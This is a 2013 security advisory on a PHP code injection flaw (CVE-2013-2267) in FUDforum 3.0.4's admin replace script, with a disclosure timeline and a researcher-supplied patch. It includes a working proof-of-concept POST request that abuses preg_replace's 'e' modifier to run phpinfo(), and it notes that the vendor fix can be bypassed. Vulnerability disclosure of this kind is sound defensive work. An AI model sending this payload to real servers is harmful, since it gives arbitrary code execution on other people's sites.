FUDforum 3.0.4 Code Injection Vulnerability

Product: FUDforum
Vendor: FUDforum
Vulnerable Version(s): 3.0.4 and probably prior
Tested Version: 3.0.4
Vendor Notification: February 21, 2013 
Vendor Patch: March 11, 2013 
Public Disclosure: April 3, 2013 
Vulnerability Type: Code Injection [CWE-94]
CVE Reference: CVE-2013-2267
Risk Level: High 
CVSSv2 Base Score: 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in FUDforum, which can be exploited to execute arbitrary PHP code on the target system.


1) PHP Code Injection in FUDforum: CVE-2013-2267

The vulnerability exists due to insufficient validation of HTTP POST parameters "regex_str", "regex_str_opt" and "regex_with" in "/adm/admreplace.php" script before using them in the "preg_replace()" function. A remote administrator can send a specially crafted HTTP POST request, inject and execute arbitrary PHP code on the target system with privileges of the web server. 

The following PoC (Proof of Concept) code executes the "phpinfo()" function:


POST /adm/admreplace.php HTTP/1.1
Host: fudforum
Referer: http://fudforum/adm/admreplace.php?&SQ=8928823a5edf50cc642792c2fa4d8863
Cookie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_str=(.*)&regex_str_opt=e&regex_with=phpinfo()


Successful exploitation of the vulnerability requires administrative privileges within the application.

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Solution:

Official Vendor patch is available here:
http://fudforum.svn.sourceforge.net/fudforum/?rev=5596&view=rev

However, the above-mentioned patch does not entirely fix the vulnerability, which can still be exploited by other exploitation techniques (such as NULL-byte and others).

High-Tech Bridge Security Research Lab developed the following patch to eliminate the vulnerability:

--- admreplace.php.old    Mon Mar 04 15:46:02 2013
+++ admreplace.php    Tue Mar 26 02:51:59 2013
@@ -18,9 +18,7 @@


     if (!$_POST['rpl_replace_opt']) {
-            if ($_POST['rpl_preg_opt'] == 'e') {    // Prevent code 
injection.
-            $_POST['rpl_preg_opt'] = 'i';
-        }
+        if(false !== strpos($_POST['rpl_preg_opt'],'e')) { 
$_POST['rpl_preg_opt'] = 'i'; }
         $_POST['rpl_replace_str'] = '/'. $_POST['rpl_replace_str'] 
.'/'. $_POST['rpl_preg_opt'];
         $_POST['rpl_from_post'] = '/'. $_POST['rpl_from_post'] .'/'. 
$_POST['rpl_from_post_opt'];
     } else {
@@ -184,7 +182,7 @@
         if ($regex_str_opt == 'e') {
             $str = 'Code injection is not allowed!';
         } else {
-            $str = preg_replace('/'. $regex_str .'/'. $regex_str_opt, 
$regex_with, $regex_src);
+            $str = preg_replace('/'. preg_quote($regex_str) .'/'. 
$regex_str_opt, $regex_with, $regex_src);

Disclosure Timeline:
2013-02-21: Vendor notification.
2013-02-28: Secondary Vendor notification.
2013-03-03: Vendor patch.
2013-03-04: Vendor notification about patch bypasses.
2013-03-26: Vendor received our patch that eliminates the vulnerability.
2013-04-02: Still no modification of the official patch from the Vendor.
2013-04-03: Public Disclosure [<a href="https://www.htbridge.com/advisory/disclosure_policy.html">Disclosure Policy</a>].

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References:

[1] High-Tech Bridge Advisory HTB23146 - https://www.htbridge.com/advisory/HTB23146 - PHP Code Injection in FUDforum.
[2] FUDforum - http://fudforum.org - FUDforum (Fast Uncompromising Discussion Forum) is a free and open source web discussion forum released under the GPL (version 2) license that is written in PHP and can be used on virtually any operating system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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